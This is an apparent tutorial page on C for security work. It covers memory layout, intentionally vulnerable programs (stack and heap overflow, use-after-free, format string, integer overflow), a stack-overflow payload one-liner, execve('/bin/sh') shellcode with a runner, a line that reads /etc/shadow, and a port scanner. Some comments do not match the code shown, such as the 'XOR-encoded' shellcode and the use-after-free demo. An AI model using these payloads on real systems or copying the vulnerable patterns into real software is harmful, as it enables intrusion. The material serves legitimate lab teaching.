C for Cyber Security
Master C to understand memory exploitation, buffer overflows, shellcode development, and low-level security concepts. The language behind operating systems and exploits.
Why C for Security
C is the foundation of modern computing. Operating systems, kernels, and most security exploits are written in C. Understanding C is essential for exploit development, reverse engineering, and understanding how memory-level attacks work.
- Memory access - Direct pointer manipulation allows you to understand and exploit memory corruption bugs.
- Exploit development - Most shellcode and exploit payloads are written in C or assembly.
- OS internals - Linux kernel, Windows kernel, and system libraries are written in C.
- Performance - Security tools written in C run at maximum speed with minimal overhead.
- Reverse engineering - Understanding C is critical for reading decompiled binaries.
C provides no built-in memory safety. Buffer overflows, use-after-free, format string vulnerabilities, and integer overflows are all possible. These same vulnerabilities are what attackers exploit.
C Basics for Security
Variables and Types
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main() {
// Integer types - watch for overflow
unsigned int max_uint = 4294967295;
int signed_int = -1;
// Buffer - the source of most vulnerabilities
char buffer[64];
char *heap_str = malloc(128);
// String operations - DANGEROUS
strcpy(buffer, "This is safe");
strcat(buffer, " - appending");
printf("Buffer: %s (len: %zu)\n", buffer, strlen(buffer));
// Safe alternatives
strncpy(buffer, "Safe copy", sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0';
free(heap_str);
return 0;
}
Functions and Pointers
// Function with pointer parameters
void xor_encrypt(char *data, size_t len, char key) {
for (size_t i = 0; i < len; i++) {
data[i] ^= key;
}
}
// Function pointer - used in exploit dev
void shell() {
system("/bin/sh");
}
int main() {
char payload[] = "SECRET DATA";
xor_encrypt(payload, strlen(payload), 0x42);
printf("Encrypted: %s\n", payload);
// Function pointer
void (*func_ptr)() = shell;
func_ptr(); // Calls shell()
return 0;
}
Memory Management
Understanding the memory layout is critical for exploit development. A C program's memory is divided into stack, heap, BSS, and text segments.
Stack - Local variables, function parameters, return addresses. Grows downward. Heap - Dynamic memory (malloc/free). Grows upward. BSS - Uninitialized global variables. Text - Executable code (read-only).
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void vulnerable_function(char *input) {
char buffer[64]; // Only 64 bytes on stack
// DANGEROUS: No bounds checking!
strcpy(buffer, input);
printf("Buffer: %s\n", buffer);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
vulnerable_function(argv[1]);
return 0;
}
// Compile: gcc -o vuln vuln.c -fno-stack-protector -z execstack
// The -fno-stack-protector disables stack canaries
// -z execstack makes stack executable (for shellcode)
Heap Exploitation Concept
// Use-After-Free vulnerability
struct user_data {
char name[32];
void (*action)();
};
void admin_action() {
system("cat /etc/shadow");
}
int main() {
// Allocate and free
struct user_data *user = malloc(sizeof(struct user_data));
user->action = admin_action;
free(user); // Memory freed but pointer not nullified
// Attacker allocates new object in same memory
struct user_data *evil = malloc(sizeof(struct user_data));
strcpy(evil->name, "attacker");
// user->action now points to attacker's data!
user->action(); // Calls admin_action() - privilege escalation
return 0;
}
Buffer Overflow Exploitation
Buffer overflows occur when more data is written to a buffer than it can hold, overwriting adjacent memory including the return address.
#include <stdio.h>
#include <string.h>
void vuln(char *input) {
char buf[64];
strcpy(buf, input); // No bounds check = VULNERABLE
}
int main(int argc, char **argv) {
vuln(argv[1]);
printf("Returned normally\n");
return 0;
}
// Compile: gcc -o vuln vuln.c -fno-stack-protector -z execstack
// Attack: python3 -c 'print("A"*72 + "\x40\x11\x55\x56")' | ./vuln
// 72 bytes fill buffer + saved EBP, then overwrite return address
Practice buffer overflow exploitation only in isolated lab environments (VMs, containers). Use vulnerable-by-design programs like Damn Vulnerable Linux (DVL) or Protostar challenges.
Shellcode Development
Shellcode is a small piece of machine code used as a payload in exploits. It typically spawns a shell when executed.
// Classic execve("/bin/sh") shellcode in C
// This demonstrates what shellcode does internally
#include <stdio.h>
#include <unistd.h>
int main() {
char *shell[] = {"/bin/sh", NULL};
execve(shell[0], shell, NULL);
return 0;
}
// Shellcode format - XOR-encoded to avoid null bytes
unsigned char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\xb0\x0b\xcd\x80";
// Execute shellcode via function pointer
void execute_shellcode() {
void (*shellcode_ptr)() = (void (*)()) shellcode;
shellcode_ptr();
}
// Print shellcode as hex for use in exploits
void print_shellcode() {
unsigned int len = sizeof(shellcode) - 1;
printf("Shellcode length: %u bytes\n", len);
for (int i = 0; i < len; i++) {
printf("\\x%02x", shellcode[i]);
}
printf("\n");
}
Socket Programming
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
// Simple TCP port scanner in C
int scan_port(char *ip, int port) {
int sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
inet_pton(AF_INET, ip, &addr.sin_addr);
int result = connect(sock, (struct sockaddr *)&addr, sizeof(addr));
close(sock);
return result == 0;
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("Usage: %s <ip>\n", argv[0]);
return 1;
}
printf("Scanning %s...\n", argv[1]);
int common_ports[] = {21,22,23,25,80,443,8080,3306};
for (int i = 0; i < 8; i++) {
if (scan_port(argv[1], common_ports[i]))
printf("[+] Port %d OPEN\n", common_ports[i]);
}
return 0;
}
Exploit Development Concepts
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Format string vulnerability
void format_string_vuln(char *user_input) {
// DANGEROUS: User input as format string
printf(user_input); // %x %x %x can leak stack data!
}
// Integer overflow vulnerability
void integer_overflow(int size) {
int total = size * 2; // Can overflow!
char *buf = malloc(total);
printf("Allocated: %d bytes\n", total);
free(buf);
}
// Heap overflow
void heap_overflow(char *input) {
char *chunk1 = malloc(16);
char *chunk2 = malloc(16);
strcpy(chunk1, input); // Overflows into chunk2's metadata
free(chunk1);
free(chunk2);
}
int main() {
// Format string: %x leaks stack, %n writes to stack
format_string_vuln("AAAA%x.%x.%x.%x\n");
// Integer overflow: 0x7FFFFFFF * 2 = small positive
integer_overflow(0x7FFFFFFF);
return 0;
}
Practice exploit development with OverTheWire Narnia, Protostar, and pwnable.kr challenges. Always use isolated lab environments.
Resources
- The C Programming Language: Kernighan & Ritchie
- Hacking: The Art of Exploitation: Jon Erickson
- Buffer Overflow Attacks: Jim Forster
- Protostar Challenges: exploit.education
- pwnable.kr: pwnable.kr
- OverTheWire Narnia: overthewire.org